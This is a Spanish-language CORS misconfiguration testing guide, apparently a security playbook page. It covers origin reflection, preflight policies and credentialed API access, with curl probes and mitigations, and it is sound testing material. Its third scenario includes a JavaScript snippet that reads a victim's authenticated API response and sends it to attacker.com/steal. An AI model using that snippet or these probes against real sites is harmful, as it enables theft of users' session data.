¿Qué hace cors-cross-origin-misconfiguration?
Manual de pruebas de configuración incorrecta de CORS. Úselo al analizar confianza entre orígenes, lecturas del navegador con credenciales, reflejo de origen, errores de política de preflight y acceso basado en navegador a APIs autenticadas.
Descripción General
CORS (Cross-Origin Resource Sharing) es un mecanismo que permite a los servidores web indicar qué orígenes externos tienen permiso para acceder a sus recursos. Una configuración incorrecta de CORS puede exponer información sensible a atacantes, permitiéndoles leer respuestas autenticadas desde el navegador de la víctima.
Escenarios de Prueba
1. Reflejo de Origen
Cuando el servidor refleja el valor del encabezado Origin en el encabezado Access-Control-Allow-Origin, cualquier sitio puede leer la respuesta.
curl -H "Origin: https://evil.com" -H "Cookie: session=abc123" http://target.com/api/user
Verifique si Access-Control-Allow-Origin: https://evil.com y Access-Control-Allow-Credentials: true están presentes en la respuesta.
2. Políticas de Preflight Inseguras
Solicitudes con métodos no simples (PUT, DELETE, etc.) o encabezados personalizados activan una solicitud OPTIONS de preflight.
curl -X OPTIONS -H "Origin: https://attacker.com" -H "Access-Control-Request-Method: PUT" http://target.com/api/resource
Analice si el servidor permite orígenes no confiables o métodos peligrosos como PUT, DELETE o PATCH.
3. Acceso a APIs con Credenciales
Si Access-Control-Allow-Credentials: true está configurado junto con un origen no confiable, los atacantes pueden robar tokens de autenticación o datos sensibles.
// Código de ejemplo para explotar CORS
fetch('https://target.com/api/user', {
credentials: 'include'
}).then(response => response.json())
.then(data => fetch('https://attacker.com/steal?data=' + JSON.stringify(data)));
4. Lectura entre Orígenes con Navegador
Simule un ataque real con un navegador controlado por el atacante, pero verifique primero con curl.
curl -H "Origin: https://evil.com" -H "Cookie: session=abc123" http://target.com/api/accounts
Si la respuesta incluye Access-Control-Allow-Origin: https://evil.com y Access-Control-Allow-Credentials: true, es vulnerable.
Herramientas y Comandos
- curl: Para pruebas manuales de reflejo de origen y preflight.
- yaklang: Script automatizado para escaneo de CORS.
- Burp Suite: Para capturar y modificar solicitudes.
Mitigación Recomendada
- No reflejar el origen dinámicamente; use una lista blanca de orígenes permitidos.
- Evite
Access-Control-Allow-Credentials: truecon orígenes no confiables. - Verifique que las solicitudes OPTIONS solo permitan métodos y encabezados necesarios.
- Limite el tiempo de vida del caché de preflight (
Access-Control-Max-Age) a un valor bajo.